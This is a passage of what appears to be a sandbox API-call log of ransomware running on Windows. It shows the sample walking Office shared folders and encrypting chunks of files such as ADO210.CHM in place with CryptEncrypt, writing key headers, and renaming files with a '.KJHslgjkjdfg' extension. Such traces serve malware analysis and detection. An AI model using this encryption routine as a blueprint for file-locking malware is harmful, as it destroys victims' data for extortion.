ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.590] GetProcessHeap () returned 0x2a0000 [0142.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.590] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.590] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0142.590] GetProcessHeap () returned 0x2a0000 [0142.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28a) returned 0x2f32d0 [0142.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.592] GetLastError () returned 0x5 [0142.592] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0142.592] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.592] GetProcessHeap () returned 0x2a0000 [0142.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0142.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0142.593] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0142.593] GetProcessHeap () returned 0x2a0000 [0142.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0142.593] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0142.593] GetProcessHeap () returned 0x2a0000 [0142.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c22b0 [0142.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0142.593] GetProcessHeap () returned 0x2a0000 [0142.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0142.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0142.593] GetProcessHeap () returned 0x2a0000 [0142.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2c7d48 [0142.593] GetProcessHeap () returned 0x2a0000 [0142.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0142.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.597] GetProcessHeap () returned 0x2a0000 [0142.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0142.597] GetProcessHeap () returned 0x2a0000 [0142.597] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0142.597] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0142.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0142.598] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x290eff8 | out: lpFileSize=0x290eff8*=1680383) returned 1 [0142.598] GetProcessHeap () returned 0x2a0000 [0142.598] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.598] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.598] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.598] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe4*=0x1, lpOverlapped=0x0) returned 1 [0142.610] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efe8 | out: phKey=0x290efe8*=0x2c63e0) returned 1 [0142.610] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.610] GetProcessHeap () returned 0x2a0000 [0142.610] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.610] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efc8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efc8*=0x30) returned 1 [0142.610] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.610] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe4*=0x30, lpOverlapped=0x0) returned 1 [0142.611] WriteFile (in: hFile=0x118, lpBuffer=0x290efec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290efec*, lpNumberOfBytesWritten=0x290efe4*=0x4, lpOverlapped=0x0) returned 1 [0142.611] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe4*=0x10, lpOverlapped=0x0) returned 1 [0142.611] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe4*=0x80, lpOverlapped=0x0) returned 1 [0142.611] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0142.611] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe4*=0x8, lpOverlapped=0x0) returned 1 [0142.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efe8 | out: phKey=0x290efe8*=0x2c63e0) returned 1 [0142.611] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.611] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 [0142.611] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0142.644] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0142.648] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.648] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0142.649] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.649] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0142.649] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 [0142.649] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0142.683] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0142.687] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.687] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0142.688] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.688] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0142.688] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 [0142.689] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0142.738] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0142.741] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.741] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0142.742] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.742] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0142.742] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.742] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.743] SetEndOfFile (hFile=0x118) returned 1 [0142.746] GetProcessHeap () returned 0x2a0000 [0142.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.746] GetProcessHeap () returned 0x2a0000 [0142.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.kjhslgjkjdfg")) returned 1 [0142.747] CloseHandle (hObject=0x118) returned 1 [0142.747] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0142.747] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0142.747] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0142.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0142.748] GetProcessHeap () returned 0x2a0000 [0142.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.748] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.748] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0142.748] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.748] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.748] GetProcessHeap () returned 0x2a0000 [0142.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0142.748] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50) returned 1 [0142.748] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.748] WriteFile (in: hFile=0x118, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290efe8*=0x50, lpOverlapped=0x0) returned 1 [0142.751] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0142.751] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0142.752] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0142.752] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0142.752] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0142.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.753] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.753] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.753] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xd980, lpOverlapped=0x0) returned 1 [0142.756] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, 